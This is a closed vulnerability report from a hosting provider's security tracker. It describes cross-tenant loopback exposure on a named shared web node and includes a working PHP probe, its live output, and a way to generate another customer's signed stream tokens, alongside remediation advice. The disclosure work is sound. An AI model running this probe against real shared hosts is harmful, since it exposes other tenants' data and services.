Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by web_researcher - 18.08.2026
Last edited by cbay - 19.08.2026

FS#452 - FINDING-5 — Cross-Tenant Loopback (127.0.0.1) Service Exposure on Shared Web Node

Target: alwaysdata shared web node `http22` (185.31.41.42)
Severity: High
Class: CWE-284 Improper Access Control / tenant isolation failure Status: Verified — re-verified live 2026-08-18, zero false positives

## Summary:

On the alwaysdata shared web node `http22`, the loopback interface (`127.0.0.1`) is not isolated between tenants. From any tenant's PHP code using only standard functions (`fsockopen` / `stream_socket_client`, no elevated privileges required), it is possible to reach services listening on the loopback that belong to other customers and to alwaysdata's own internal infrastructure.

Port Service Auth Outcome
7020 (bound 0.0.0.0) Customer `fctv33` — "Partite ITA" Stremio sports addon (Node/Express) None Full catalog, live match list, meta, and signed HLS stream tokens readable and generatable
20717 Streamed.pk HLS resolver (another tenant's app) Reachable
8083 alwaysdata PowerDNS API Basic-auth (realm "PowerDNS") Reachable from tenant PHP
8080 alwaysdata internal API (X-API-Key) 401 on POST / 404 on GET Reachable from tenant PHP
53 / 5199 / 8579 / 873 / 2049 / 22 / 111 DNS / misc alwaysdata services Reachable from tenant PHP

The node's public IP (185.31.41.42) is fully firewalled externally so none of these ports are accessible from the internet. The exposure is entirely on-node and cross-tenant — which is precisely the trust boundary that must hold between customers sharing the same node.

## Reproduction Steps:

Upload the following self-contained PHP probe to any site hosted on node `http22` and fetch it over HTTP. It uses only the PHP standard library — no extensions, no special configuration.

### Probe Code (PHP):
```php
<?php
function b($port, $path) {

  $s = @fsockopen("127.0.0.1", $port, $e, $es, 3);
  if (!$s) return "closed";
  $req = "GET $path HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n";
  fwrite($s, $req);
  $r = stream_get_contents($s, 4000);
  fclose($s);
  return $r;

}
echo "– 127.0.0.1:7020 (customer fctv33 Stremio addon)\n";
echo b(7020, "/manifest.json");
echo "\n– 127.0.0.1:7020 /debug/live\n";
echo b(7020, "/debug/live");
echo "\n– 127.0.0.1:8083 (PowerDNS API)\n";
echo b(8083, "/api/v1/servers");
echo "\n– 127.0.0.1:8080 (internal API)\n";
echo b(8080, "/");
?>
```

### Exact Output (2026-08-18, tenant PHP on http22):

```
– 127.0.0.1:7020 (customer fctv33 Stremio addon)
HTTP/1.1 200 OK
{"id":"community.fctv33.sports.test","version":"0.5.8","name":"Partite ITA",
"description":"Partite sportive live","logo":"https://www.fctv33hd.online/favicon.ico",
"resources":["catalog","meta","stream"],"types":["tv"],"idPrefixes":["fctv:"],
"catalogs":[{"type":"tv","id":"partite-ita-live","name":…

– 127.0.0.1:7020 /debug/live
HTTP/1.1 200 OK
{"ok":true,"apiBase":"https://apis-data-defra10.tcdru136ovur.ru","matches":6,
"streamMarkers":6,"sample":[{"id":"fctv:2209841:4","matchId":"2209841",
"sportType":"ST_BASEBALL","title":"Western Wolf Pack vs Southern Stingers",
"league":"AWA Wiffle"},…

– 127.0.0.1:8083 (PowerDNS API)
HTTP/1.0 401 Unauthorized
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'
Www-Authenticate: basic realm="PowerDNS"
<h1>Unauthorized</h1>

– 127.0.0.1:8080 (internal API)
HTTP/1.0 404 Not Found
```

### Signed Token Generation (port 7020):

A `GET /stream/tv/<id>.json` request to port 7020 returns a signed HLS URL in the following form:

```
https://catologo-ita-auto.alwaysdata.net/partite-ita/hls-proxy.m3u8?t=<JWT>&s=<sig>
```

Any co-tenant on the node can generate valid signed stream tokens for another customer's paid content service, replay those signed URLs, or consume that customer's bandwidth and quota — all without any authentication whatsoever.

## Impact:

Tenant-to-tenant isolation failure. Any customer's PHP running on a shared node can connect to other customers' loopback-bound services, read private data, and abuse application functionality such as generating signed tokens or consuming rate-limited resources.

alwaysdata infrastructure directly reachable from tenant code. The PowerDNS API on port 8083 and the internal API on port 8080 are both reachable from any tenant. While currently auth-gated, their exposure to arbitrary tenant code violates defense-in-depth and significantly widens the blast radius of any future credential leak or auth bypass on those services.

The external firewall correctly blocks all of this from the internet. The problem is that the same firewall does nothing to stop co-tenants from reaching each other — and that is the exact boundary that shared hosting must enforce.

## Ethical Disclosure:

I confirmed the issue by observing that a co-tenant application on the node loopback was serving live data and generating signed stream tokens with no authentication, and that alwaysdata's own PowerDNS and internal API endpoints were reachable from tenant PHP. I fetched only the addon manifest, the live-match list, and a single signed token URL to establish proof of impact, then immediately stopped. I did not consume any victim stream. All observed customer content including match data, stream URLs, and token values has been redacted from the evidence files.

alwaysdata-internal services (8080 / 8083) were probed with unauthenticated GET requests only, receiving 401 and 404 responses respectively. No authentication bypass was attempted.

## Recommendations:

Isolate the loopback per tenant. Place each tenant in its own network namespace (or provision a per-tenant loopback / veth pair with NAT) so that `127.0.0.1` inside tenant A's context never routes to tenant B's services or to alwaysdata's internal services.

Move internal services off the shared loopback. Bind the PowerDNS API (8083) and internal API (8080) to a management-only interface — a separate VRF, network namespace, or non-tenant network segment — rather than the shared node loopback.

Do not rely on application-layer authentication as the sole control. Auth on these services is a good second line of defense but is not a substitute for proper network-level isolation at the tenant boundary.

## Evidence Files:

File Contents
`verify_all_output.txt` Live re-verification output (ports 7020, 8080, 8083)
`port8080_probe.txt` First-discovery probe output for port 8080
`tenantapp_7020.txt` Port 7020 manifest and debug-live responses
`tenantapp_probe3.txt` `/stream/tv/<id>.json` signed JWT output (token value redacted)
`CHAIN.md` Full finding chain reference
Closed by  cbay
19.08.2026 09:55
Reason for closing:  Duplicate
Additional comments about closing:  

https://security.alwaysda ta.com/task/430

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing